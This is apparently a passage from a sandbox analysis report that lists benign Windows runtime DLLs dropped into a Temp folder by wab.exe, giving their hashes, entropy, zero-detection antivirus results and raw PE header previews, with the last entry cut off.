C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
